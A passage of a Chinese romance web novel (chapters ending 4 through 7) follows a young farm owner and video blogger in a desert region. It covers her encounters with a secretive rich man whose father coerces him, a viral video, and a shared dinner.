全部录完像已经两点多,贺兰念全身乏力,胃隐隐有些不舒服,告别杨姐,她加快脚步往停车场走,车里好像还有给惜儿备的面包。
她低着头只顾赶路,猝不及防,一颗苹果砸到她脚边。
贺兰念怔愣抬头,看见了程回。
烈日下,他一身休闲衣,双手插在兜里静静站着,眉眼锋锐。
对于程回,不管是下意识还是深思,贺兰念都觉得危险。
他身上有种,毁灭的疯狂感。
贺兰念不想接触他。
基于教养,贺兰念把苹果捡了起来。
她没有把苹果还到程回手里,而是放在了旁边的休息椅上。
也没有跟程回打招呼,贺兰念继续往前走。
“苹果是给你的。”
贺兰念从他身边经过时,程回道:“不是放椅子上晒太阳的。”
“......”给人东西用砸的?贺兰念在心里叹了一口气,“谢谢。但不用了。”
程回视线在贺兰念苍白的脸和没有血色的唇上凝了几秒。
“带我去餐厅。”程回声调冷,听起来像命令。
“......抱歉,我不是这家酒店的服务员。”贺兰念道,“如果你找不到餐厅,可以给酒店前台打电话。”
而她,现在只想赶紧回到车上,然后快点回到家。
程回似没听到贺兰念的话,“你是自己跟我走,还是我拉着你走?”
“.........”看着程回冷漠又华丽的脸,贺兰念直觉他没开玩笑。
想到那个画面,贺兰念觉得带他过去更明智一点。
贺兰念找了下餐厅的位置,走了几步,回头发现程回又折回去,他拿回那颗苹果,再次塞到她手里。
“酬劳。”程回说。
“......”
贺兰念还是没有吃那颗苹果。
不知道是不是她的错觉,他觉得程回越走越快,像是生气故意折腾她,她本就体力不支,正午的阳光照得她头昏眼花。
全程程回都走在贺兰念前面。
走到餐厅门口,贺兰念猛地意识到,程回分明知道餐厅在哪!
看出这一点,贺兰念没有跟程回打招呼,她把那颗苹果放到喷泉池边,转身往回走。
没有生气,她只是觉得这件事已经完成了,所以她决定就这样结束。
程回回身,看到贺兰念快步离开的背影,还有地上的苹果。
“喂!”程回声音极克制,但还有丝丝怒气泄漏,“我好像说过,得罪我的人要请我吃饭。”
“我不知道怎么得罪你了?”贺兰念回头。
她的脸愈加苍白,眼睛却清冷又疏离,拒人于千里之外。
程回:“......”
“陈先生,应聘不通过是很正常的事情。第一次见面的时候我说了我会考虑你,但并不意味着我一定会选择你。”贺兰念尽量理智罗列整件事,最后道,“所以,您能理解吗?”
程回沉默。
他嘴角扯了下,“懂了。让我滚远点?”
她可没有这样说!
他自己把话说得这么直白,贺兰念也不想再委婉找补什么,她点头示意,然后转身离开。
程回走到花坛边,静默片刻,一脚把苹果踢进了喷泉池里。
来餐厅拿水果的杨姐迎面撞上程回。
刚前台给她打电话,说VIP房程先生要一些水果,听说水果都在餐厅,他就拿了颗放在前台的苹果,匆匆离开。杨姐正好在餐厅附近,就来带些水果回去。
此时见到程回,杨姐疑道:“程先生?您来餐厅吃饭?”
不对啊,她记得他的饭十二点就准时送到他房间了啊?难道专门跑来拿水果?看着也不像啊。
“这个时间我们这边晒的很,您不用专门跑来,我们可以给您送到房间。”杨姐道。
程回留下一个“不用了”,冷着脸大步离去。
杨姐疑惑继续往餐厅走,看见喷泉池里翻滚的苹果,像极了她放在前台的那个......
有钱人总有些奇奇怪怪的脾气......杨姐摇摇头,下水捞出苹果。
*
贺兰念到家的时候,羊明煦正跟惜儿玩射箭,两人都玩得很开心,笑声充盈整个农场。
“念念!”看见贺兰念,惜儿丢下弓箭扑到贺兰念怀里,“念念你吃饭了吗?羊哥哥做了好吃的饭,我们给你留了很多哦~”
贺兰念没想到羊明煦今天会过来,也没想到他还会做饭,之前如果她太忙赶不及,都让惜儿去李叔家吃饭。
“哦这样的,那今天没有去李爷爷家吃饭跟李爷爷说了吗?”
“说了。我还给李爷爷端去一大碗排骨呢。”惜儿骄傲说,拉着贺兰念就往厨房走。
“谢谢你啊。”贺兰念回头对羊明煦说。
羊明煦大大咧咧惯了,笑着道:“这有什么,不用这么客气。”
感受到羊明煦的坦率贺兰念也笑了笑,她少见放下客套,“那等我吃完饭再带你熟悉农场?”
羊明煦见贺兰念脸色难看,道:“不急,你先吃饭吧。上午惜儿带我转了转,大概工作我都熟悉。”
又要照顾农场又要照顾孩子,工资也不高,找到合适的人太难了,贺兰念心里很感激羊明煦。
不仅如此,更难得的是羊明煦的明朗和生命力,像阳光照耀在人心头,让人忍不住心情都明媚起来。
吃过饭,贺兰念先带羊明煦熟悉农场,后又赶到
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李叔家进行今天的直播。
又四个小时,贺兰念结束直播回到家。
本来是要在李叔家吃晚饭的,但中间惜儿兴奋跑来说羊明煦做了晚饭,让贺兰念和李叔李婶回去一起吃。
今晚月色很好,贺兰念开了院子的夜灯,大家围着大枣树下的木桌吃饭。
羊明煦厨艺很好,四菜两汤做的有滋有味。
“你爸是羊鸿宽?”饭桌上李叔问羊明煦,“鸿歌酒庄是你家的吧?不在自己家葡萄园干,怎么跑出来打工了?”
羊明煦咧嘴笑了下,“酒庄前年就关了,一直赔钱,开不下去了。”
闻言李叔深深叹了一口气,“真是没想到你们那么大一个酒庄也没了。你家酒庄有二十年了吧?我记得你们家是当时第一批建酒庄的。”
羊明煦点了点头,提到国内葡萄园和酒庄现状,他也只能苦笑。
惜儿不知道为什么大家突然都不太开心,她插嘴问道:“念念,今天直播有好玩的事吗?我要听!”
“今天没有好玩的事。”见惜儿情绪低落下去,贺兰念想了下说,“今天给你讲《阿吉娜》的故事好不好?”
“好耶!要听《阿吉娜》!”惜儿抬手欢呼。
惜儿最喜欢《阿吉娜》,百听不厌。
但贺兰念不太想给惜儿讲《阿吉娜》,因为这个故事里,主角阿吉娜因为爱情放弃了自己,最后变成了星砂。贺兰念并不赞同这种爱情至上的理念,也不想让惜儿形成这样的观念。
晚饭洗漱后,惜儿早早爬上床等着贺兰念,贺兰念只得从书架上抽出《阿吉娜》。
其实不用故事书,《阿吉娜》作为西北最古老的传说,在贺兰念很小的时候,她母亲就经常讲给她听。
贺兰念躺到惜儿身边,掀开故事第一页。
——
在乌兰戈壁最深处,住着能化为人形的白鹿灵族。每逢朔月,她们的鹿角会凝结星砂,治愈被沙暴侵蚀的生灵。
十七岁的阿吉娜是这一届白鹿族长的长孙女,化成人形后的她十分美丽,皮肤像牛奶一样光滑,琥珀色的眼睛像盛着金色的光芒......但是贪玩的阿吉娜不喜欢化成人形,她喜欢以鹿的形态,在丛林和戈壁间自由自在的奔跑。
每一个见到阿吉娜的生物,都会忍不住赞叹——她实在有一对完美的不像话的角,那是伟大的鹿神大人最杰出的作品。但是,阿吉娜年迈的祖母总是忧心忡忡的看着那对鹿角,说:“伟大的鹿神大人把它给了你,真不知道是福还是祸。”
阿吉娜不懂:“是什么样的福?又是什么样的祸呢?”
老祖母望着乌赛湖对岸狼族祭坛的火光,那里,狼族新选出的年轻首领正在准备被诅咒的弑亲仪式。
狼族弑亲诅咒源于三百年前,某任鹿族公主被狼人爱人欺骗,一怒之下用星砂篡改天命下诅咒,狼人需亲手斩杀至爱,饮至爱之血,才能解身上狼毒,继承神力。
“阿吉娜,你一定要记住,不要跨过这湖水,不要靠近狼族。”老祖母说,“阿吉娜,听到狼人的呼唤,不要回头。”
阿吉娜很小就被族中长辈告知,狼人狠戾薄情,十分危险,绝对不能靠近他们。
就在这时,对岸年轻俊美的狼人首领突然抬眼望了过来。
漫天火光中,那双幽绿的眼睛深邃不见底,危险又迷人,对上的那一眼,阿吉娜的心猛地动了一下。
......
程回?
贺兰念盯着湖水对岸年轻俊美的狼人首领,清清楚楚看到了程回的脸!
怎么回事?
贺兰念回头张望,乌赛湖对岸的篝火映照出她惊吓的脸。
耳边一道年迈慈祥的声音一遍遍叮嘱她,“阿吉娜,不要回头,不要回头......”
很快又有一道熟悉的声音响起,“念念,你的爱人就在对面,不要害怕,不要害怕念念......”
妈妈?
妈妈!!!
最后那道分明是妈妈的声音!!!
贺兰念试图大声呼喊,可是无论她如何用力嘶吼,发出的只有低哑的声音,没有人能听到......
贺兰念猛地惊醒——
原来是,一场梦。
手指抚上脸颊,冰凉一片,贺兰念坐在床上,久久不能从梦里的情绪里挣脱。
很久很久,她慢慢清醒,梦里年轻首领的脸却渐渐清晰。
怎么会梦见......程回?
5. Chapter 5
贺兰念拍了拍自己的脑袋,试图把残梦里的人影拍散。
什么时候睡着的?贺兰念低喃。
她从床头拿过手机看了眼,还不到四点。看了眼身旁的惜儿,贺兰念把被蹬掉的被子给她盖上。
一时半会睡不着,贺兰念走到书桌前坐下,打开电脑开始剪音乐节的视频。
剪到最后困意袭来,贺兰念强撑着眼皮。
视频中,随着航拍机往音乐节外围飞,湿润的沙丘被碾压上百条纵横交错的跑道,几十辆越野车在沙丘间狂飙,轰鸣声震天,飞扬的沙粒激烈又热血。
贺兰念看了会儿拉力的几辆越野车,把视频留了下来,未注意到角落跑完全程后下车的程回。
窗外天色渐渐清朗,鸟儿叽叽喳喳叫得欢快,贺兰念脑袋越来越昏沉,最后把视频检查一遍没有问题后,点了发送。
关上电脑,贺兰念躺到床上,很快睡去。
清晨,贺兰念是被不停歇的手机震动吵醒的。
害怕出了什么事,贺兰念快速从被窝里坐起来拿起手机,屏幕甫一亮,一条条含“帅”字严重超标的消息在屏幕上快速翻动。
贺兰念疑惑点开消息,竟然是今天早上发的视频的评论和数不清的私信。
贺兰念点开评论,热评第一是寻人启事,贴了张男人的航拍俯视图。
图片里的男人黑衣长裤,倚在纯黑的越野车上,航拍器掠过时,他微微仰了下头,白肤黑发,堪称完美的脸矜贵又性感,黑眸十分凉薄。
是程回!
贺兰念往下翻了翻评论。
【极品仙品上上品!我终于在网上吃上好的了!!!】
【谁懂这个抬头和反手关门!帅得我又活过来了!】
【帅不止是一种感觉!脸也绝!!】
【一夜过去了,帅哥还是全网无消息,这届网友不给力啊!】
【话说,这是哪啊?看着好好玩!沙漠?音乐节?越野赛?姐妹们我冲了!】
......
贺兰念点开视频看,终于发现了视频最后只出现几秒钟的程回,而且还是在很不起眼的角落!
网友眼睛这么尖的?!
看着已经几十万并且还在不断增加的点赞和评论,贺兰念感觉到了压力。
程回看到视频了吗?他会不会不喜欢这种关注?
要联系程回吗?说不定人家根本就没看到视频,而且根本不关心这种事呢?
关键,贺兰念不想联系程回......
贺兰念坐在床上盯着手机苦恼。
*
桌上的手机响了,坐在沙发上,一直盯着手机的程回在看到屏幕上的名字时,眸色一沉。
接通后,程英纵怒不可遏的声音传出:“程回,我再跟你说一遍,如果你再做出这种出格的事,关于那件事,你什么都别想知道!”
“什么出格的事?”程回讥讽,“怎么?我这张脸见不得人?”
“哦~是我忘了,”他语气轻到诡异,“我可是见不得光的私生子。”
“私生子?”程英纵像是听到了什么笑话,“这是什么矫揉造作的词?程回,你是二十三岁了,不是三岁!你还在痛苦这些?我让你出国留学你就学了这些无用的概念?没用的感情?”
“你只是我其中一个孩子。”程英纵仿佛没有人类正常的感情,冷漠道,“你们都是其中之一!”
程回眼中黑沉的情绪翻涌,疯狂的,毁灭的,但他很快恢复理智。
“首先,如果不是程总心虚,就不会有这通电话。其次,总是拿一个女人威胁我,才是无能。最后,在我这里,一个人容易生气的程度跟他的愚蠢程度成正比,所以,请程总没这么蠢的时候再打给我。或者说,再来请求我。”
嘟嘟——
电话被挂断。
程英纵看着办公桌上的座机,半天没反应过来。
狠狠摁掉电话,程英纵气笑了。
想了下,他喊了秘书。
一个大约四十岁左右的精干男人走进来,正是程英纵秘书室室长魏梁。
“你安排到程回身边,那个叫苏馥的,可靠吗?”程英纵问。
魏梁似早就料到会有此问,答道:“她是一个,有能力但又不会让程少赶回来的人。”
程英纵:“细说。”
“做事能力强,为人圆滑,理智大于情感,不会轻易被程回说服为他所用。”魏梁话锋一转,“对于程回来说重要的是,她有底线。因为这一点,程回不会反感她。”
程英纵沉吟,想到程回性格,道,“如果是这样的话,倒是最适合的人。”
“你联系一下她,让她去找那个视频博主,把视频删掉。”程英纵道。
视频里不是不能有程回,而是决不能有他们程家。
魏梁自然知道程英纵是担心网友知道太多,会对接下来他们要做的事不利,更重要的是,程英纵不能出现在公众视野!
但是......
魏梁脸上出现为难的神色,“苏馥已经给我打来电话了,她说她不能出面解决这件事。”
程英纵脸一冷,“理由。”
“据她所说,程少现在隐瞒了身份接近贺兰念,而那个视频的发布者正是贺兰念,所以她出面肯定会暴露程少身份。”魏梁道。
程英纵沉吟,想到最后程回说的话,他现在才知其意。
这件事如果他们这边不出面解决,必须得找程回。所以,程回才对说“求他”的话。
真是长本事了!
不愧是他看中的人!
程英纵冷笑一声,摆手让魏梁出去了。
程英纵并不会被谁输谁赢,或者受辱等无用的情感影响到切实的利益,程回说得对,一个人容易生气的程度跟他的愚蠢程度成正比。
所以并未犹豫,他再次给程回拨去电话。
“我要你联系贺兰念删掉视频。”程英纵开门见山道。
程回轻呵了一声,“可是我并不想这么做。”
程英纵完全没理会程回的话,自顾自道:“你要不要先听一听我能给你的好处?”
程回沉默。
“你母亲的照片。”程英纵补充,“现阶段的。”
“她在哪?”程回问。
“不要问这种你明知我不会告诉你的问题。”程英纵讥笑道,“程回,有本事就自己去查,我等着看结果。”
“我最后一次提醒你,低调点别惹事。”想到什么,程英纵道,“我听说李折在那边搞了个什么越野赛,你要是不想暴露身份——”
程回冷声打断他,“轮不到你教我做事。既然害怕被人翻出什么陈年旧罪,就少干点违法犯罪的事。”
程英纵似瞬间被踩了尾巴,低吼:“程回!!!”
程回扯了下嘴角,挂断电话。
“啪嗒”一声,程回把手机撂在茶几上。
许久,他眼睛直直盯着手机屏幕,似是还在等谁的电话。
桌上的手机安静如机,程回拧眉,心情莫名烦躁。他起身拿起来看,别说电话,一条消息都没有!
修长手指在手机屏幕上一阵划,最后停在一个新加的号码上。
又过了一会儿,点了下去。
电话很久才接通。
话筒里传来清冷又小心翼翼的声音,“你好,哪位?”
程回自
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己都没有发现,听到贺兰念声音的那一刻,他微不可察呼了一口气,心情平复下来。
“我。”
贺兰念一时间没反应过来,转念一想才想起程回来,低沉又华丽的声音。
反应过来是谁后贺兰念又懵了一下,不知说什么,吐出两个干巴巴的,“...哦...哦!”
“贺兰念,电话是炸弹吗?这么难接?”程回很在意她这么久才接。
听出程回的弦外之音,贺兰念心里叫了一声苦。
她本来是在等程回电话的,结果她的手机就被各种陌生号码攻占了,大多是来问视频里程回是谁的。
不过除了疯狂粉丝,她竟然还接到了当地旅游局的电话,邀请她一起拍旅游宣传视频,最后对方还委婉表达了,视频里如果有程回是最好的......
贺兰念便说自己不认识程回,只是不小心拍进去的。对方并未强求。
担心又是疯狂粉丝打来的,贺兰念见到外地号码的时候,犹豫好久才点了接通。
“不是。是有一些事。”贺兰念不想跟程回说粉丝的事,想到程回打来的目的,便道,“你打来是因为视频的事吧?”
“......是。”意识到这通电话即将结束,程回略一思索,道,“你来找我一下。我在你昨天见我的酒店。”
“不用了吧。”贺兰念不想去找他,“如果你不想出现在视频里,我现在就可以把你剪掉。”
程回:“......”
没等到程回回复,贺兰念当他默认了。
没有问程回不想出现在视频里的原因,但保险起见,贺兰念又确定了一遍:“那我把你删掉了?”
程回:“.........”
程回一直不说话,贺兰念也不知道他在想什么,自认没话可讲,贺兰念便道:“我会删掉。那,再见。”
手机里很快传来盲音。
程回:“............”
程回捏着手机看着被挂断的电话。
一分钟后,他抓起桌上的车钥匙,起身离开了酒店房间。
车上,李折打来电话。
“我说现在这个社会,长得帅就是特么的无敌畅通通行证!”李折不无嫉妒道,“这句话对你尤其适用!”
程回正烦:“你吃错药了?”
李折站在一辆越野车车顶翻白眼,“瞧瞧这狗逼性格,也就是只看脸的网友才会被你迷的五迷三道。”
“不过,也多亏了你,我这越野赛事这下是彻底火了哈哈哈哈哈!!”李折扬天大笑,是真的开心。
程回:“......”
“越野赛火了,音乐节也火了,我听说那个账号的创作者半天涨了五十万粉,当地旅游局都在找她合作。”说着李折又激动道,“你说你这张脸多值钱!”
就在这时,不远处驶来的一辆皮卡吸引了李折的注意,看见皮卡上下来的贺兰念,他惊奇的“咦”了一声。
程回看着路况,没注意李折的异样,他想了下问道:“问你个事,你知道贺兰——”
李折喝住他:“你先别说话,我好像看到你未来女友了!”
程回:“?”
意识到不小心把心里话说出来了,李折担心程回不高兴给他乱扣男女关系,赶紧找补,“不是,是那个,就昨天在酒吧门口拒绝你的女生。”
程回:“......你现在在哪?”
“你要来找我吗?”李折没多想,下意识道,“我还在越野营地这边,你要来的话——”
电话已经挂断。
黑色越野车如黑豹在戈壁和沙丘间穿梭,几分钟后,驶进越野营地入口。
6. Chapter 6
贺兰念是来找惜儿的,下午的时候羊明煦把惜儿带来越野场玩。
刚下车,一辆越野车停到她面前,前排车窗降下来,贺兰念看见昨天跟程回在一起的男生。
李折透过车窗探出头,道:“你好,我叫李折。”
贺兰念:“......你好。贺兰念。”
看出贺兰念的疑惑,李折解释道:“是这样。因为今天早上你发的那个视频,连带着我这个越野赛也火了一把,所以我是特意来感谢你的。”
贺兰念表示“不用了”,毕竟这件事她也是受益者之一,而他们最应该感谢的应该是——程回。
“还有一件事,你一条视频多少钱?你拍个我们比赛的视频吧,我付给你钱。”李折想趁着这波热度,正好宣传一下他们的赛事。
贺兰念没有理由拒绝,只是还没等她答应,引擎的咆哮声突兀的撕开时空,纯黑顶级G800越野车一个漂亮的漂移,轮胎在沙地上犁出一道凌厉的深壑,稳稳停在贺兰念面前。
随着车窗降落,露出程回的精致流畅的侧脸,皮肤白皙,脖颈修长。
贺兰念准备走开。
“贺兰念。”程回喊住她,淡声道:“你是不是该觉得抱歉。”
贺兰念扭身看他:“?”
程回挑眉,也回了她一个:“?”
猛地想起视频的事,贺兰念没想到他会这么反感视频的事,于是歉意道:“抱歉,这件事是我的疏忽。我刚才已经删改了视频。”
程回沉默。
“我的规矩是,对不起我的人,”他再次重复之前的话,“要请我吃饭。”
贺兰念:“......”
兜兜转转,怎么又回到了这里?不达目的不罢休?只是,一顿饭也能成为他的目的吗?他看着实在不像缺一顿饭的人。
贺兰念还未说话,李折哀嚎的声音插进来:“不是?!视频删了?!!”
李折看向程回,“今天早上我跟你说这件事的时候,你也没说什么啊,怎么又要删?”他又一脸希冀的看向贺兰念,“你不会把我越野场的画面也删了吧?拍得多酷啊!”
“......没,只删了...一点。”贺兰念看一眼程回,她只把有程回的画面删了。
“那就好那就好!”李折松了一口气,立马拿出手机看贺兰念新发的视频。
贺兰念有点愣神,所以,今天很早程回就知道这件事了,那他那时候怎么没有联系她删视频?而且听李折的话,他知道的时候反应挺平淡的,为什么现在又态度这么坚决?
为了为难她?贺兰念对此持保留意见。
贺兰念猜不出程回的心思。
见程回还在盯着她,贺兰念知道逃不掉,她在心里深深叹了一口气,道:“你什么时候有时间?”
程回丝毫没犹豫:“现在。”
“可是现在......”贺兰念四处看了看,找惜儿的身影。
也快到晚饭时间了,想着惜儿应该玩得差不多了,贺兰念便给惜儿打了通电话。
知道要跟程回一起吃饭,惜儿激动的在电话里大叫,立马问贺兰念和程回在哪,通话最后,贺兰念好像还听到了一道更加激动的声音......
很快,羊明煦载着惜儿飞驰而来。
车刚停下,羊明煦比惜儿还更快跑下车,他一脸兴奋的跑到贺兰念面前,指着程回的车确认,“是开这辆车去吃饭吗?!!!”
贺兰念并不是很确定,她看向程回,正看见程回下车,看着并不准备开车的样子。
如果程回不准备开车,那她就开她的车。
羊明煦也看见了程回下车的动作,正失望,就听到程回用天籁般的声音对他说:“你来开。”
羊明煦:“嗯?嗯??嗯???”
卧槽!!!!
他就说这份工超值的!!
“哥!你就是我亲爹!!”经过程回身边时,羊明煦大声喊。
惜儿跑上车之前也一把抱住程回大腿,用尽全身力气抱了抱,然后一溜烟爬上车,窜到空间很大的后备箱玩去了。
李折见状也从自己车上跳下来,他走到程回身边低声道:“我就知道你不是来找我的!我多机灵,立马把人给拖住了。”
说完李折一脚跨进了副驾的位置,留下后排两个空位,然后给程回飘了个不用感谢我的眼神。
程回:“......”
程回看一眼发呆不知想什么的贺兰念,蹬着大长腿上了车。
“念念,这后面好像一个小房子啊,你快点上来!”惜儿探出脑袋喊贺兰念。
贺兰念从怔愣中回神,后知后觉上了车。
车上,贺兰念犹豫好久,不好意思开口道:“我请客能不能按我的标准来?”
程回扭过脸来,他一时没明白贺兰念的意思,轻“嗯?”了一声。
“太贵的我请不起。”比如说上千的......她真的请不起。
车内安静了几秒,前排的李折没忍住“噗嗤”一下笑出声,“对不起对不起,不是,你也太——”李折本来想说“可爱”,但想到程回,又生生忍住,嬉笑道,“你还挺有意思。”
贺兰念是李折第一个遇到直白说出这句话的人,没有打肿脸充胖子,很坦率。
程回眼中情绪变了又变,一汪寒潭似冰水消融,道:“你刚才一直在想这件事?”而不是在想怎么拒绝他。
贺兰念脸微红:“......嗯。”她不能不想啊,她现在连羊明煦的工资钱都还没有。
程回望着窗外无穷无尽荒凉的戈壁滩,内心却悄然升起一丝柔软和愉悦,嘴角不自觉弯了弯。
迟迟没有等到程回的回答,就在贺兰念当他默认的时候,听到一直盯着窗外的人说:“不行。请我要按照我的标准。”
贺兰念有点不敢相信自己的耳朵,她下意识朝程回那里探了探头,希冀听到不一样的话。
猝不及防,程回回头。
他的脸天生薄情又华丽,掀起眼皮看向贺兰念的那刻,瞳孔像浸泡在寒潭里的黑曜石,嘴角却抿着来不及藏好的......笑意。
刹那间,如春水漫过冻土,荒原开满铃兰。
贺兰念心脏狠狠震荡了一下。
震得她狠狠拧了拧眉。
贺兰念语气很淡“嗯”了一声,随后坐好扭头盯着窗外,很久很久,直到那双绚烂又迷茫的瞳孔重新映进荒原,变得平静荒凉。
*
在李折的指引下,羊明煦把车开进了本市最豪华的餐厅。
看到餐厅名的那一刻,羊明煦心里也打颤,低声对贺兰念道:“我卡上还有一些钱,可以应急。”
贺兰念感激的看他一眼,还未说话,从另一边下车的程回冷着脸从两人身旁走过。
一旁羊明煦打了个寒颤,莫名有种他惹程回不高兴的感觉......
走了几步,见贺兰念没跟上来,程回回头。
“贺兰念,请客的人是不是应该过来领我进去。”
贺兰念:“??!!”
贺兰念简直震惊到无语,程回看起来那么轻车熟路,进这种豪华餐厅像回自己家一般,让她带路?
想到自己毕竟是答应请客的人,在程回的凝视下,贺兰念往前走了几步,跟在程回身后。
程回这才没再说什么,抬脚往某个包厢走。
四大一小坐进包厢,程回坐下后一直在看手机,似是在给谁发消息。
贺兰念平常不太喜欢跟陌生人吃饭,比如现在,谁点单就是一件让她倍觉尴尬的事。
她正思索怎么办好,一只骨节分明的手压着菜单推到她面前。程回盯着手机并未抬头,言简意赅的动了动嘴皮,“点单。”
贺兰念赶紧说:“不,还是你点吧。”毕竟这是她给程回赔罪的饭。
闻言程回抬头盯了贺兰念两秒,然后他似很好说话般道:“请客的人点单,我客
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随主便。”
贺兰念:“......”
此时此刻,贺兰念脑海一直循环回荡着那句,“不行,请我要按照我的标准。”
不再纠结这么问题,贺兰念想着让惜儿点她喜欢吃的,便把菜单递了过去。
突然间,某个想法闪过贺兰念脑海,她让惜儿点首先想到的是让惜儿点她自己喜欢吃的......
贺兰念递菜单的手僵住。
程回...也是想让她点自己喜欢的菜吗?
贺兰念不自觉用余光看了程回一眼,他又低头回信息了,看着在忙什么重要的事。
应该不是!他看起来更像没时间点单而已。
贺兰念排解掉自作多情的想法,自己在心里尴尬了一番。
李折和羊明煦都点了单后,程回依然没有回完消息,李折说不用理程回,催着服务员上菜了。
饭吃到一半,程回才放下手机。他情绪淡淡的,看不出喜怒,放下手机后随意吃了几口,贺兰念就没见他动筷了。
倒是一旁羊明煦和李折聊车聊越野赛聊得热火朝天,惜儿不时加入他们好奇的问这问那,两人都耐心解答。
“喂程回!越野赛你到底参不参加啊!”李折突然问程回。
程回打字的手一顿,他未抬头,随后若无其事道:“参加啊,不参加我来这儿干嘛。”
“行!参加就行!”李折高兴了。有程回和那辆G800在,绝对能吸引不少人,不管是观众还是参赛者。
程回是来这里参加比赛的......贺兰念夹菜的手僵了一下,忍不住看了程回一眼。
程回只是低眸盯着汤碗里晕开的油点,似没有察觉贺兰念的视线。
吃得差不多的时候,贺兰念离开包厢去了趟卫生间。
洗完手刚走出卫生间,身后响起一道惊讶带着疑惑的声音,“贺兰念?”
见贺兰念回头,周砚惊喜道:“真的是你啊!我还以为认错人了呢!”
青年长相清俊,贺兰念大概猜到他应该是她的大学同学,但她忘记了他的名字。
贺兰念:“......你好。”
“我是周砚!我们大一的时候一个班你忘了?”周砚热情道。
贺兰念微微一笑“嗯”了一声,知道了青年名字,她便客气问道:“你来这边玩?”
“对来玩。”周砚补充,“今年不是毕业了嘛,算是毕业旅行吧。”
已经毕业了吗?
贺兰念嘴角的笑意僵了下。
大概想到了贺兰念退学的事,周砚脸上闪过一丝尴尬,他很快贴心的转了话题:“你家是这里的对吧?我们班好几个同学都来玩了,你什么时候有时间,我们聚一下?”
贺兰念陷入为难,不论时间上还是她本意,她都不太想聚会。
贺兰念犹豫再三道:“我最近有点忙,可能会耽误你们的行程——”
“她没有时间。”
贺兰念转身,程回不知道什么时候过来的,他一只手插兜,闲闲站在那,气场强大到让人心惊。
程回淡淡瞥了一眼周砚,目光再次落在贺兰念身上,开口:“贺兰念,买单的时候请客的人不在,你想让我买单啊?”
“......”贺兰念不知道为什么每次程回说话,她都要无语的程度。
“抱歉......我现在去买单。”
话说,见程回这几面,她怎么一直在道歉?!贺兰念在心底叹息。
看向周砚,贺兰念道:“那个周砚,我先去买单了,我们...之后再联系。”
说完转身离开,她有意没有留联系方式。
看着逃似离开的贺兰念,程回嘴角弯了弯。
再没看周砚一眼,程回跟在贺兰念身后离开。
留在原地的周砚看着程回的背影,眼中闪过迷惑。
“程回?他怎么来这儿了?”周砚喃喃,“还跟贺兰念在一起?他们怎么会认识?”
7. Chapter 7
然而,等贺兰念找到服务员买单的时候,却被告知已经买过单了。
看到贺兰念身后的程回,服务员道:“就是这位先生买的单。”
程回脚步未停掠过贺兰念,说:“贺兰念,真惨,你又欠我一顿。”
贺兰念:“......我现在把钱转给你。”
“想法很好,”程回顿住脚步,侧身看她,“但是我不接受。”
贺兰念深吸一口气,决定用程回的方式回击,道:“我觉得你最好接受,不然大概率要钱饭两空。”
怔了两秒,程回蓦地笑了。
是带着羞涩的笑!
甚至带出嘴角两个浅浅的酒窝。
性感、贵气、羞涩中甚至带一丝清纯......这么反差的词出现在程回身上,出现在程回脸上,好看得要命......
“不巧,我不相信大概率。”程回用低沉颇具磁性的声音说,“我相信小概率。”
贺兰念视线凝在那抹笑上,久久没回神。
咔嚓——
一道相机的闪光灯让贺兰念和程回同时回头。
餐厅某角落,一个年轻女孩拿着相机,一脸拘谨从一棵绿植后走了出来。
“不好意思,我......”接触到程回冰冷的目光,她明显紧张,像抓住救命稻草般看向贺兰念,“贺兰姐姐,我是你的粉丝,不是偷拍的狗仔......”
“是拍了,”贺兰念顿住,指了指她和程回,“我们吗?”
女孩点头。实在太养眼了,忍不住就拍了。
贺兰念倒是不在意被拍,她经常出现在自己视频里,她不由看了程回一眼,程回却有点愣神,不知道在想什么。
想到程回对这件事的抵触,贺兰念便对女孩道:“不好意思,你能把照片删了吗?请不要发到网上。”
“......哦,好,好的。”女孩答应,她很快低头从相机里调出照片,看了几秒,她又抬头,满脸恳请,“我不会发到网上的,可以不删吗?真的拍得好好看!”
贺兰念看向程回。
程回盯着贺兰念好几秒,最后收回视线,说:“随便。”
继而抬脚离开。
贺兰念:“......”
真是每次都让人捉摸不透啊!
所以,为什么出现在她的视频里就不行?贺兰念想不明白。
女孩十分感激,再三保证不会发到网上,最后嗫嚅着提出能不能跟贺兰念合影。
贺兰念没有拒绝。
贺兰念离开后,女孩坐在椅子上欣赏刚拍的照片,越看越觉得拍得简直完美。
“太好看!氛围感绝了!”女孩欣喜的自言自语。
一道阴影落下。
女孩抬头看见去而复返的程回。
*
天边最后一缕斜阳卡在沙丘缺口,拖着荧光尾针的蝎子匆匆遁入地缝,驼铃在流沙里回荡。
暮色像打翻的葡萄酒在大漠流淌,流进那三面落地窗大敞,却一灯未开的昏暗房间。
窗外风蚀岩柱的阴影在室内无线拉长又消失,最后全部归于平静,只能隐隐看到沙发上悄然躺着一个修长身影。
茶几上的手机屏幕一直亮着,发出微弱的光芒,屏幕上显示着一张点开的照片。
照片中,月光从铁窗斜切而入,照在蜷曲着身子窝在床脚的女人身上。
女人身上穿着褪色的灰蓝病号服,左脚踝拴着电子镣铐,那双原本细长的手指正神经质的抠着墙皮,碎屑混着血丝在指尖堆积成小坟冢,干瘦的手腕处隐隐可见一行法文纹身。
Mamanesttoujourslà。
【妈妈永远都在。】
手机突然震动,打破一室不寻常的静谧。
响了好几秒,沙发上的人影才动作僵硬的动了动手指,看起来有点艰难。
他似被重达千斤的重物压着,许久没从沙发上起来。
直到手机第二遍响,他才起身,拿起手机。
程英纵打来的。
想到他打来的目的,程回动作有些迟钝点了接通。
“我听说你参加越野赛了。”一开口,程英纵语气里就隐着他早知如此的得意。
程回低垂着头,看不清脸上的情绪,他没有出声,修长手指捏着手机,似在克制什么。
“程回,承认吧!你或许残留些许所谓的善心,但一旦涉及你的利益,你会跟我做一样的选择。”程英纵自信的笑了一声,“你隐瞒自己的身份,现在又让那个贺兰念认为你只是去参加赛事——,别再自欺欺人,这就是你现实的选择。”
“说完了吗?”
一开口,程回的声音低哑的不成样子,程英纵都被惊了下,疑虑问:“你怎么了?”
“如你所见,我正在接受良心的谴责,”程回语气淡得让人骨脊发凉,“你相信吗?”。
程英纵似听到天大的笑话,放声大笑了好几声,收住笑说:“我下午让魏室长联系你,我相信你已经收到照片了。”
程回收到照片时,正是他跟贺兰念吃饭的时候。
程回:“想让我感谢你的言而有信?”
诡异的,程英纵极快怔愣了下,几乎不可察觉,他主动转移了话题,“程回,你跟我是一样的人。所以,乖乖听我的话,你想要的我都可以给你。”
“那不巧了,你想给的那些脏东西,”程回声音低低沉沉,“我看不上。”
程回挂断电话,手机屏幕回到主页面。
桌面壁纸赫然是一张新合影。
